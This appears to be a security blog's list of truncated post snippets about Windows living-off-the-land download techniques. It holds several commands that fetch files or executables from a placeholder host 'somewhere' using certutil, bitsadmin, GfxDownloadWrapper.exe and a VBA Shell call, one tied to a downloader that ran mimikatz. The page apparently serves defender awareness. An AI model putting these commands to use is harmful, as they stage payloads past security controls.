neonprimetime security , just trying to help

sample downloader that executed mimikatz certutil.exe -urlcache -split -f http://somewhere/test.txt 'test.txt'; $B64 = get-content t...

Shell ("certutil.exe -urlcache -split -f http://somewhere/test4.txt ""tes5.txt""") Shell ("powershell.exe...

cd c:\windows\system32\DriverStore\FileRepository\ki132337.inf_amd64_223d6831ffa64ab1 (sub folder may vary) GfxDownloadWrapper.exe https...

certutil.exe -urlcache -split -f https://somewhere/test.exe c:\windows\temp\test.exe dir c:\windows\temp\test.exe

bitsadmin /CREATE TestJob bitsadmin /ADDFILE TestJob https://somewhere.com/file.exe c:\windows\temp\file.exe bitsadmin /RESUME TestJob bi...